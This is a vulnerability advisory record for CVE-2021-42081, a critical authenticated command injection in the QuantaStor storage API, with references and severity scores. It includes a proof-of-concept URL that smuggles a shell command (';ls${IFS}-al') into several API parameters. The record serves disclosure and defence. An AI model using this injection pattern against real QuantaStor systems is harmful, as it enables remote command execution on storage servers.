CVE-2021-42081
CRITICALQuantaStor < 6.0.0.355 - Authenticated Remote Code Execution via API
Title source: llmDescription
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
References (5)
Core 5
Core References
Third Party Advisory third-party-advisory
technical-description
exploit
https://www.wbsec.nl/osnexus
Various Sources third-party-advisory
https://csirt.divd.nl/DIVD-2021-00020/
Third Party Advisory third-party-advisory
technical-description
exploit
https://csirt.divd.nl/CVE-2021-42081
Product product
https://www.osnexus.com/products/software-defined-storage
Various Sources
https://www.divd.nl/DIVD-2021-00020
Scores
CVSS v3
9.1
EPSS
0.0099
EPSS Percentile
58.1%
Attack Vector
NETWORK
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CISA SSVC
Vulnrichment
Exploitation
none
Automatable
no
Technical Impact
total
Details
CWE
CWE-78
Status
published
Products (1)
osnexus/quantastor
< 6.0.0.355
Published
Jul 10, 2023
Tracked Since
Feb 18, 2026